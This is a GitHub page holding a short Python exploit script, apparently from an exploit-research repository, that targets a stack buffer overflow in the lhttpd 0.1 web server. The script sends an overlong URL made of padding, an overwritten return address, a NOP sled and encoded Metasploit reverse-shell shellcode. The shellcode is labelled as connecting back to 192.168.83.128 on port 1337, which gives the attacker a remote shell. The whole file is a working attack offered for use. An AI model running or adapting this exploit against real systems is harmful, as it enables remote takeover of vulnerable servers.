forked from ajinabraham/Exploit-Research-Ported
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathbuffer overflow lhttpd 0.1.py
33 lines (31 loc) · 1.64 KB
/
buffer overflow lhttpd 0.1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib2
buff="http://192.168.83.128:3000/"
buff+="A"*255
buff+="\x63\x46\x91\x7c" #call esp from some dll
buff+="\x90"*30 #nops
#MSF REVESE SHELL 192.168.83.128 1337
buff+=("\xbf\xb0\x7c\x25\xce\xd9\xcc\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x4f\x31\x7b\x14\x83\xc3\x04\x03\x7b\x10\x52\x89\xd9\x26\x1b"
"\x72\x22\xb7\x7b\xfa\xc7\x86\xa9\x98\x8c\xbb\x7d\xea\xc1\x37"
"\xf6\xbe\xf1\xcc\x7a\x17\xf5\x65\x30\x41\x38\x75\xf5\x4d\x96"
"\xb5\x94\x31\xe5\xe9\x76\x0b\x26\xfc\x77\x4c\x5b\x0f\x25\x05"
"\x17\xa2\xd9\x22\x65\x7f\xd8\xe4\xe1\x3f\xa2\x81\x36\xcb\x18"
"\x8b\x66\x64\x17\xc3\x9e\x0e\x7f\xf4\x9f\xc3\x9c\xc8\xd6\x68"
"\x56\xba\xe8\xb8\xa7\x43\xdb\x84\x6b\x7a\xd3\x08\x72\xba\xd4"
"\xf2\x01\xb0\x26\x8e\x11\x03\x54\x54\x94\x96\xfe\x1f\x0e\x73"
"\xfe\xcc\xc8\xf0\x0c\xb8\x9f\x5f\x11\x3f\x4c\xd4\x2d\xb4\x73"
"\x3b\xa4\x8e\x57\x9f\xec\x55\xf6\x86\x48\x3b\x07\xd8\x35\xe4"
"\xad\x92\xd4\xf1\xd7\xf8\xb0\x36\xe5\x02\x41\x51\x7e\x70\x73"
"\xfe\xd4\x1e\x3f\x77\xf2\xd9\x40\xa2\x42\x75\xbf\x4d\xb2\x5f"
"\x04\x19\xe2\xf7\xad\x22\x69\x08\x51\xf7\x3d\x58\xfd\xa8\xfd"
"\x08\xbd\x18\x95\x42\x32\x46\x85\x6c\x98\xf1\x82\xfb\xe3\xaa"
"\x5f\x7d\x8b\xa8\x5f\x78\x75\x24\xb9\xe8\x95\x60\x12\x85\x0c"
"\x29\xe8\x34\xd0\xe7\x78\xd4\x43\x6c\x78\x93\x7f\x3b\x2f\xf4"
"\x4e\x32\xa5\xe8\xe9\xec\xdb\xf0\x6c\xd6\x5f\x2f\x4d\xd9\x5e"
"\xa2\xe9\xfd\x70\x7a\xf1\xb9\x24\xd2\xa4\x17\x92\x94\x1e\xd6"
"\x4c\x4f\xcc\xb0\x18\x16\x3e\x03\x5e\x17\x6b\xf5\xbe\xa6\xc2"
"\x40\xc1\x07\x83\x44\xba\x75\x33\xaa\x11\x3e\x43\xe1\x3b\x17"
"\xcc\xac\xae\x25\x91\x4e\x05\x69\xac\xcc\xaf\x12\x4b\xcc\xda"
"\x17\x17\x4a\x37\x6a\x08\x3f\x37\xd9\x29\x6a")
request=urllib2.Request(buff)
callurl=urllib2.urlopen(request)